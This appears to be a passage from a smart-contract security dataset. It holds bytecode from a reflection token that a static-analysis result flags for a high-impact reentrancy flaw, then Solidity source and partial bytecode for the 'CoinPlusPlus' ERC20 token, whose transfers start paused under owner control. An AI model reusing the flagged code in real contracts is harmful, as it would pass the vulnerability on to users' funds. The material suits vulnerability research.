ffffffff16815260200190815260200160002054612b069190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b949190613cdb565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c229190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6e816131b9565b612c78848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612cd59190613ba5565b60405180910390a3505050505050505050565b600080600080600080612cfa87613157565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519190613dbc565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ddf9190613cdb565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b816131b9565b612e35848361337e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612e929190613ba5565b60405180910390a3505050505050505050565b6000806000600f549050600066038d7ea4c68000905060005b60098054905081101561311757826001600060098481548110612ee457612ee3614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612fd25750816002600060098481548110612f6a57612f69614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612fee57600f5466038d7ea4c6800094509450505050613153565b600160006009838154811061300657613005614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130779190613dbc565b9250600260006009838154811061309157613090614007565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826131029190613dbc565b9150808061310f90613ecf565b915050612ebe565b5066038d7ea4c68000600f5461312d9190613d31565b82101561314a57600f5466038d7ea4c68000935093505050613153565b81819350935050505b9091565b60008060008060008060008060006131748a6011546012546133aa565b92509250925060008060006131928d868661318d612555565b613416565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b60006131c3612555565b9050600081836131d39190613d62565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132429190613cdb565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508260026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133149190613cdb565b60026000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b81600f5461338c9190613dbc565b600f81905550806010546133a09190613cdb565b6010819055505050565b600080600080606486886133be9190613d62565b6133c89190613d31565b90506000606486896133da9190613d62565b6133e49190613d31565b9050600081838a6133f59190613dbc565b6133ff9190613dbc565b905080838395509550955050505093509350939050565b60008060008084886134289190613d62565b9050600085886134389190613d62565b9050600086886134489190613d62565b905060008183856134599190613dbc565b6134639190613dbc565b9050838184965096509650505050509450945094915050565b600061348f61348a84613c5a565b613c35565b905080838252602082019050828560208602820111156134b2576134b161406a565b5b60005b858110156134e257816134c888826134ec565b8452602084019350602083019250506001810190506134b5565b5050509392505050565b6000813590506134fb81614290565b92915050565b60008151905061351081614290565b92915050565b600082601f83011261352b5761352a614065565b5b813561353b84826020860161347c565b91505092915050565b600081519050613553816142a7565b92915050565b600081359050613568816142be565b92915050565b60008151905061357d816142be565b92915050565b60006020828403121561359957613598614074565b5b60006135a7848285016134ec565b91505092915050565b6000602082840312156135c6576135c5614074565b5b60006135d484828501613501565b91505092915050565b600080604083850312156135f4576135f3614074565b5b6000613602858286016134ec565b9250506020613613858286016134ec565b9150509250929050565b60008060006060848603121561363657613635614074565b5b6000613644868287016134ec565b9350506020613655868287016134ec565b925050604061366686828701613559565b9150509250925092565b6000806040838503121561368757613686614074565b5b6000613695858286016134ec565b92505060206136a685828601613559565b9150509250929050565b6000602082840312156136c6576136c5614074565b5b600082013567ffffffffffffffff8111156136e4576136e361406f565b5b6136f084828501613516565b91505092915050565b60006020828403121561370f5761370e614074565b5b600061371d84828501613544565b91505092915050565b60008060006060848603121561373f5761373e614074565b5b600061374d8682870161356e565b935050602061375e8682870161356e565b925050604061376f8682870161356e565b9150509250925092565b60006137858383613791565b60208301905092915050565b61379a81613df0565b82525050565b6137a981613df0565b82525050565b60006137ba82613c96565b6137c48185613cb9565b93506137cf83613c86565b8060005b838110156138005781516137e78882613779565b97506137f283613cac565b9250506001810190506137d3565b5085935050505092915050565b61381681613e02565b82525050565b61382581613e59565b82525050565b600061383682613ca1565b6138408185613cca565b9350613850818560208601613e6b565b61385981614079565b840191505092915050565b6000613871602a83613cca565b915061387c8261408a565b604082019050919050565b6000613894602283613cca565b915061389f826140d9565b604082019050919050565b60006138b7602083613cca565b91506138c282614128565b602082019050919050565b60006138da602983613cca565b91506138e582614151565b604082019050919050565b60006138fd602583613cca565b9150613908826141a0565b604082019050919050565b6000613920602483613cca565b915061392b826141ef565b604082019050919050565b6000613943601783613cca565b915061394e8261423e565b602082019050919050565b6000613966601183613cca565b915061397182614267565b602082019050919050565b61398581613e2e565b82525050565b61399481613e4c565b82525050565b60006020820190506139af60008301846137a0565b92915050565b60006040820190506139ca60008301856137a0565b6139d760208301846137a0565b9392505050565b60006040820190506139f360008301856137a0565b613a00602083018461397c565b9392505050565b600060c082019050613a1c60008301896137a0565b613a29602083018861397c565b613a36604083018761381c565b613a43606083018661381c565b613a5060808301856137a0565b613a5d60a083018461397c565b979650505050505050565b6000602082019050613a7d600083018461380d565b92915050565b60006020820190508181036000830152613a9d818461382b565b905092915050565b60006020820190508181036000830152613abe81613864565b9050919050565b60006020820190508181036000830152613ade81613887565b9050919050565b60006020820190508181036000830152613afe816138aa565b9050919050565b60006020820190508181036000830152613b1e816138cd565b9050919050565b60006020820190508181036000830152613b3e816138f0565b9050919050565b60006020820190508181036000830152613b5e81613913565b9050919050565b60006020820190508181036000830152613b7e81613936565b9050919050565b60006020820190508181036000830152613b9e81613959565b9050919050565b6000602082019050613bba600083018461397c565b92915050565b600060a082019050613bd5600083018861397c565b613be2602083018761381c565b8181036040830152613bf481866137af565b9050613c0360608301856137a0565b613c10608083018461397c565b9695505050505050565b6000602082019050613c2f600083018461398b565b92915050565b6000613c3f613c50565b9050613c4b8282613e9e565b919050565b6000604051905090565b600067ffffffffffffffff821115613c7557613c74614036565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613ce682613e2e565b9150613cf183613e2e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d2657613d25613fa9565b5b828201905092915050565b6000613d3c82613e2e565b9150613d4783613e2e565b925082613d5757613d56613fd8565b5b828204905092915050565b6000613d6d82613e2e565b9150613d7883613e2e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613db157613db0613fa9565b5b828202905092915050565b6000613dc782613e2e565b9150613dd283613e2e565b925082821015613de557613de4613fa9565b5b828203905092915050565b6000613dfb82613e0e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613e6482613e2e565b9050919050565b60005b83811015613e89578082015181840152602081019050613e6e565b83811115613e98576000848401525b50505050565b613ea782614079565b810181811067ffffffffffffffff82111715613ec657613ec5614036565b5b80604052505050565b6000613eda82613e2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613f0d57613f0c613fa9565b5b600182019050919050565b6000613f2382613e38565b915067ffffffffffffffff821415613f3e57613f3d613fa9565b5b600182019050919050565b6000613f5482613e38565b9150613f5f83613e38565b925082613f6f57613f6e613fd8565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61429981613df0565b81146142a457600080fd5b50565b6142b081613e02565b81146142bb57600080fd5b50565b6142c781613e2e565b81146142d257600080fd5b5056fea2646970667358221220af59919e40311db5c008ae9cf524a480553ff4c8dd416dc5902f491b107af13864736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,288 |
0xa2d17051de77340c94ff180f2f1abf4caa61e3f2
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = true;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
emit PausePublic(newPausedPublic);
emit PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CppToken is PausableToken {
string public constant name = "CoinPlusPlus";
string public constant symbol = "CPP";
uint8 public constant decimals = 12;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
constructor ( address _admin, uint _totalTokenAmount ) public
{
// assign the admin account
admin = _admin;
// assign the total tokens to cpp
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) public validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) public onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) public onlyOwner {
// owner can re-assign the admin
emit AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b257806318160ddd1461021757806323b872dd1461024257806324bb7c26146102c7578063313ce567146102f657806342966c681461032757806364779ad71461036c578063661884631461039b57806370a082311461040057806379cc6790146104575780638da5cb5b146104bc5780638f2839701461051357806395d89b4114610556578063a9059cbb146105e6578063d73dd6231461064b578063db0e16f1146106b0578063dd62ed3e146106fd578063ddeb509414610774578063f2fde38b146107af578063f851a440146107f2575b600080fd5b34801561012e57600080fd5b50610137610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b34801561022357600080fd5b5061022c610980565b6040518082815260200191505060405180910390f35b34801561024e57600080fd5b506102ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610986565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610a15565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b610a28565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033357600080fd5b5061035260048036038101908080359060200190929190505050610a2d565b604051808215151515815260200191505060405180910390f35b34801561037857600080fd5b50610381610b9c565b604051808215151515815260200191505060405180910390f35b3480156103a757600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610baf565b604051808215151515815260200191505060405180910390f35b34801561040c57600080fd5b50610441600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cad565b6040518082815260200191505060405180910390f35b34801561046357600080fd5b506104a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf6565b604051808215151515815260200191505060405180910390f35b3480156104c857600080fd5b506104d1610d1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051f57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d42565b005b34801561056257600080fd5b5061056b610e5e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ab578082015181840152602081019050610590565b50505050905090810190601f1680156105d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f257600080fd5b50610631600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e97565b604051808215151515815260200191505060405180910390f35b34801561065757600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b604051808215151515815260200191505060405180910390f35b3480156106bc57600080fd5b506106fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611022565b005b34801561070957600080fd5b5061075e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b34801561078057600080fd5b506107ad60048036038101908080351515906020019092919080351515906020019092919050505061120a565b005b3480156107bb57600080fd5b506107f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611338565b005b3480156107fe57600080fd5b50610807611490565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600c81526020017f436f696e506c7573506c7573000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161561096e57600360159054906101000a900460ff16151561096857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109585750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561096357600080fd5b61096d565b600080fd5b5b61097883836114b6565b905092915050565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109c557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a0057600080fd5b610a0b8585856115a8565b9150509392505050565b600360149054906101000a900460ff1681565b600c81565b6000610a8182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad9826000546116a890919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610c9b57600360159054906101000a900460ff161515610c9557600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c855750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c9057600080fd5b610c9a565b600080fd5b5b610ca583836116c1565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d03833384610986565b1515610d0b57fe5b610d1482610a2d565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f435050000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f1157600080fd5b610f1b8484611952565b91505092915050565b6000600360149054906101000a900460ff161561101057600360159054906101000a900460ff16151561100a57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ffa5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561100557600080fd5b61100f565b600080fd5b5b61101a8383611a50565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114357600080fd5b505af1158015611157573d6000803e3d6000fd5b505050506040513d602081101561116d57600080fd5b8101908080519060200190929190505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126657600080fd5b6000151582151514801561127e575060011515811515145b15151561128a57600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113d057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff161561169457600360159054906101000a900460ff16151561168e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061167e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561168957600080fd5b611693565b600080fd5b5b61169f848484611c4c565b90509392505050565b60008282111515156116b657fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffff